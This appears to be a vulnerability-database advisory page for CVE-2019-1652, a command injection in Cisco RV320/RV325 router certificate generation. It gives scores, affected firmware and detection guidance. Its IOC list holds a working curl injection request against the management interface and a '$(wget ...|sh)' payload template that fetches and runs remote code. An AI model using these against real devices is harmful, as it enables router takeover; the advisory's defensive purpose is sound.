cbcvebase.
CVE-2019-1652
published 2019-01-24

CVE-2019-1652: A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote…

PriorityP188high7.2CVSS 3.1
AVNACLPRHUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2022-03-17
Exploited in the wild
EPSS
95.92%
99.9th percentile
A vulnerability in the web-based management interface of Cisco Small Business RV320 and RV325 Dual Gigabit WAN VPN Routers could allow an authenticated, remote attacker with administrative privileges on an affected device to execute arbitrary commands. The vulnerability is due to improper validation of user-supplied input. An attacker could exploit this vulnerability by sending malicious HTTP POST requests to the web-based management interface of an affected device. A successful exploit could allow the attacker to execute arbitrary commands on the underlying Linux shell as root. Cisco has released firmware updates that address this vulnerability.

Affected

4 ranges
VendorProductVersion rangeFixed in
ciscocisco_small_business_rv_series_router_firmware
ciscorv320_firmware>= 1.4.2.15 < 1.4.2.221.4.2.22
ciscorv325_firmware>= 1.4.2.15 < 1.4.2.221.4.2.22
ciscosmall_business_rv320_and_rv325_routers

Detection & IOCsextracted from sources · hover to see the quote

url/cgi-bin/config.exp
url/cgi-bin/userLogin.cgi
urlhttp://192.168.1.1/certificate_handle2.htm?type=4
port8007
port443
commandopenssl req -new -nodes -subj '/C=%s/ST=%s/L=%s/O=%s/OU=%s/CN=%s/emailAddress=%s' -keyout %s%s.key -sha256 -out %s%s.csr -days %s -newkey rsa:%s > /dev/null 2>&1
commanda'$(ping -c 4 192.168.1.2)'b
commandcurl -s -b "$COOKIE" --data "page=self_generator.htm&totalRules=1&OpenVPNRules=30" "&submitStatus=1&log_ch=1&type=4&Country=A&state=A&locality=A" "&organization=A&organization_unit=A&email=ab%40example.com" "&KeySize=512&KeyLength=1024&valid_days=30&SelectSubject_c=1&" "SelectSubject_s=1" --data-urlencode "common_name=a'\$(ping -c 4 192.168.1.2)'b" "http://192.168.1.1/certificate_handle2.htm?type=4"
command'$(wget -q -O- #{payload_url}|sh)'
  • Detect exploitation attempts by monitoring HTTP POST requests to /certificate_handle2.htm with shell metacharacters (e.g., $(), ', backtick) in the common_name POST parameter, combined with query parameter type=4.
  • Monitor for unauthenticated GET requests to /cgi-bin/config.exp on Cisco RV320/RV325 devices; a 200 response containing 'PASSWD' indicates the device is vulnerable and credentials may be leaking.
  • Detect staging payload delivery pattern: POST to /certificate_handle2.htm with common_name containing a wget-pipe-to-sh command pattern ('$(wget -q -O- <url>|sh)') indicating command injection exploitation.
  • Flag inbound scans probing for Cisco RV320/RV325 devices on TCP ports 443 and 8007 with requests to /cgi-bin/config.exp, as this is the reconnaissance step chained with CVE-2019-1652 exploitation.
  • ·The initial Cisco patch (1.4.2.20) for CVE-2019-1652 was confirmed incomplete; firmware 1.4.2.22 is required for a complete fix.
  • ·The web interface performs JavaScript-side filtering of special characters but applies no server-side input filtering, escaping, or encoding, making client-side controls trivially bypassable.

CVSS provenance

nvdv3.17.2HIGHCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv3.07.2HIGHCVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
vulncheck7.2HIGH
cisa7.2HIGH
vendor_cisco7.2HIGH
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.